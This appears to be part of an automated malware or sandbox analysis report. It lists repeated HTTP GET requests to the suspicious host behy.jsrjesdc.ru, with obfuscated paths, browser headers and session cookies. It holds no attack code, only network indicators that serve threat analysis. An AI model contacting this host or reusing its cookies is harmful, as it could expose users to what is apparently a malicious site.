Source: global traffic	HTTP traffic detected: GET /op0984BX9rlOqTsojzuUfJrJeHeftir0hCkKo95mT5eP1smZqp67135 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /efxw11nWIZVsZYy8TMDAi2bdsgdkl2FUwtNiKLDzQSLn90145 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /za9HZC2OSrnlWSYwqjBmkWiAwtO6OWG9a2NrLr6aX2txfnGmIwTCfc8JVDRWqQ8pJytN79XRJauQOv0ffwQ1lPPbKmRJLWcerXDYKj0I01DFJDUNSKnCHGqobdQdXRyVEkgohcQLptPDj8PDshysvsxP2De05oaDhAst8HshAQV5lSRsOLMhIgh590 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzrjp938veRH4si417Wp90mLjrs93TyryZMQ9gANbyjUy6lbjyVmyIiab180 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /bcPOzBscrSmAFLpAg2cTQsnCCn8y62vf7DshVXSAmv4zv25ySFNyd1BAJG45j1ayMBJMwTCBX39gc3KQ361Fx23eFl6m0oYbClKfBfVzOhbe2oFbwrT2Eoj6O49mayQeE5zP8SivGuxJ6SPXiop600 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ef5nYzTF0HsTTVBSha9MDnKCm0UU0X77DqlbaEu9apYItaFt0tE61eMbPUF4h51R34PuUidUXsiXfj1HXQn4tu5VLtgnsU2BA4MTIZhygdymZrQ6wkYh89yCEFWvGaUCFDJlzSA9zLfQsst610 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klyXBPhaHFydFHgHTWK5GrhUl25HVGgEcfXuyz08SoAlRljAkQegqRo8vzq56169 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ij6jAsdI2JvNjJ0wmc9VJfm4zSrlJZ8yfIY54yj09qm0baTil28PUSZlfxRxemxS6uuYFdSutCInoetDEJoLssJXvdkkzKCn6ElVoEeG94VNtvCmOI9VZ1cSrOGskwx613 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opWax8K0kdg1nyxzMrY5tjeSWXO2Zs87redyVLNuvt6CFeqk0ZNX7LljRxg3fQef195 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ghN7YKDXeyb0GL4r1xIvlEZmgF1M0mnqVHp3U5SU5vx5snj2ef209 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /za9HZC2OSrnlWSYwqjBmkWiAwtO6OWG9a2NrLr6aX2txfnGmIwTCfc8JVDRWqQ8pJytN79XRJauQOv0ffwQ1lPPbKmRJLWcerXDYKj0I01DFJDUNSKnCHGqobdQdXRyVEkgohcQLptPDj8PDshysvsxP2De05oaDhAst8HshAQV5lSRsOLMhIgh590 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opQxMlgnJuaTwX2W7N3a63opklqC1uuFTcwRo8bsPvl12mfwf6sqyemzcp1qrjP7bweIPwF3Lfef240 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stRLYrBaFUwXBc91wj7t9hxG3FHyoEbicu8rOng458D8YNtUyJ3EGcB1DcT3Def255 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
